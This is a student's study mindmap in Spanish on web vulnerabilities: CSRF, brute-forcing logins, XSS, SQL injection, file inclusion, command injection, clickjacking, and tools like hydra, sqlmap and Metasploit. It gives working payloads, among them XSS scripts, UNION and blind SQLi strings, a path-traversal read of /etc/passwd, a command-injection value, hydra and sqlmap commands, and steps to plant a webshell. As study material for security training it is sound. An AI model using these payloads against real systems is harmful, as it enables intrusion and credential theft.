Mindmap
Vulnerabilidades
Inhalt der Mindmap
Vulnerabilidades
Sistemas de gestión de sesión
- Cross site Request forgery
- Permite que navegador de victima envíe peticiones a un servidor legitimo sin que el usuario tenga conocimiento del envío de estas peticiones. Se da cuando servidor legitimo no comprueba el origen de las peticiones
- Cross site Request forgery
Sistemas de identificación
- Verificación de controles de bloqueo
- Checkear si es posible realizar un gran numero de peticiones de autenticación sin que el sistema bloquee o ralentice el proceso
- Contraseñas débiles
- Testear las credenciales por defecto (Ataque de diccionario)
- hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.18.131:21 -t4 -V
- La Puta fea te Vio
- hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.18.131:21 -t4 -V
- Testear las credenciales por defecto (Ataque de diccionario)
- Credenciales por defecto
- Burpsuite intruder Clusterbomb e Hydra
- Verificación de controles de bloqueo
Code Injection
- Cross-site scripting
- Reflejado
- Ataker -->(manda url legitima con el código js inyectado)-->Client -->(hace petición GET a un servidor con esa url tuneada, AUN NO EJECUTA JS)--> Web Server --> (recibe la petición del cliente y le devuelve una respuesta CON EL JS DEL ATACANTE al cliente) --> Cliente (recibe la respuesta y se ejecuta el js malicioso QUE LE HA MANDADO EL SERVIDOR, que era el que iba en la url que le llego al cliente desde el atacante)
- Almacenado
- Se logra almacenar el js en el servidor para que lo envíe a muchos clientes
- "><script>alert("Esto es vulnerable")</script>
- "><script>eval(atob( "[document.documentElement.innerHTML='[html]'] en base64"));</script>
- "><script> document.documentElement.innerHTML = '[html]';</script>
- Reflejado
- SQL Injection
- Tipos según
- Canal de extracción de datos
- OutBand
- El atacante usa un canal diferente para recibir los datos extraídos. Suele implicar el uso de técnicas como DNS o HTTP para enviar los datos a un servidor controlado por el atacante
- InBand
- Atacante usa el mismo canal de comunicación para inyectar el código malicioso y para recibir los datos
- Atacante inserta consulta maliciosa en un campo de entrada de un formulario y los resultados se muestran en la página web
- OutBand
- Tipo de respuesta del servidor
- Error Based SQLi
- Union Query SQLi
- ' UNION select "a",username,password,is_admin,"e" from owasp10.accounts where '1=1' #
- Union Query SQLi
- Blind Based SQLi
- Time Based Blind Injection
- <nombreUsuario>' and if(128<ASCII(SUBSTRING(version(),1,1)), sleep(5), 0) #
- Es true si tarda 5s, false si tarda menos
- <nombreUsuario>' and if(128<ASCII(SUBSTRING((SELECT table_schema FROM INFORMATION_SCHEMA.tables WHERE '1=1' LIMIT 1),1,1)), sleep(5), 0) #
- Boolean Based Blind Injection
- Devuelve true (302 Found) o false (200 OK)
- ' or 1=1 and 128<ASCII(SUBSTRING(version(),1,1)) #
- Encontrar un punto de inyección que muestre dos estados (búsqueda dicotómica en 8 jumps)
- Time Based Blind Injection
- Error Based SQLi
- Canal de extracción de datos
- Burpsuite Repeater
- Tipos según
- Inyección de código
- Local/Remote File Inclusion
- Local: (fichero se encuentra en sistema de archivos local) Remoto: (fichero se encuentra en ruta accesible por red)
- GET /url/index.php?page=../../../../../etc/passwd
- Fallo en la validación que permite leer/ejecutar ficheros
- Local: (fichero se encuentra en sistema de archivos local) Remoto: (fichero se encuentra en ruta accesible por red)
- Command Injection
- Ejecutan comandos en el server usando vars que no están sanitizadas y son modificables por el usuario
- En una petición, buscas cualquier var random como target_host=127.0.0.2&LoQueSea y lo mandas así target_host=127.0.0.2 | cat /etc/passwd&loQueSea
- WebShell
- Hace falta la Kali y pasarlo a Base64
- cat webshell.php | base64 -w0 >fileEnc
- echo "<cod en b64>" | base64 -d >webshell.php
- Esto se pone por el parametro vulnerable desde Burp y crea el archivo en la victima
- Hace falta la Kali y pasarlo a Base64
- Ejecutan comandos en el server usando vars que no están sanitizadas y son modificables por el usuario
- Burpsuite Repeater
- Local/Remote File Inclusion
- Cross-site scripting
Sistemas del lado del cliente
- Clickjacking
- Engañar al usuario para que interactúe con la interfaz cuando realmente interactua con otros elementos
- Jack
- Clickjacking
Herramientas
- SQLmap
- Explotación de vulnerabilidades SQLi
- sqlmap -r requestFile -p passwordFile --flush-session --level=5 --risk=3 --technique=BT --schema
- RPF LeRTiS
- sqlmap -r requestFile -p passwordFile --flush-session --level=5 --risk=3 --technique=BT --schema
- Explotación de vulnerabilidades SQLi
- Jack
- Herramienta que permite la realización de POCs de clickjacking
- Hydra
- Explotación de ataques de fuerza bruta a servicios
- Explotación de ataques de fuerza bruta a servicios
- Metasploit
- Framework de explotación de vulnerabilidades. Contiene múltiples módulos que a parte de la explotación, permiten ser aplicados en muchas otras fases de una auditoría
- msfconsole ---Search <palabra clave de lo que se busca, como ‘SQLi’> Show options -------- Use <exploit> -----Set <nombre variable> <valor variable>----------- quit
- Framework de explotación de vulnerabilidades. Contiene múltiples módulos que a parte de la explotación, permiten ser aplicados en muchas otras fases de una auditoría
- SQLmap
Informationen
- Beschreibung
- Segundo Informática Mindmap am Vulnerabilidades, erstellt von Reader Random am 12/11/2023.
- Erstellt von
- Reader Random
- Aufrufe
- 24
- Bewertung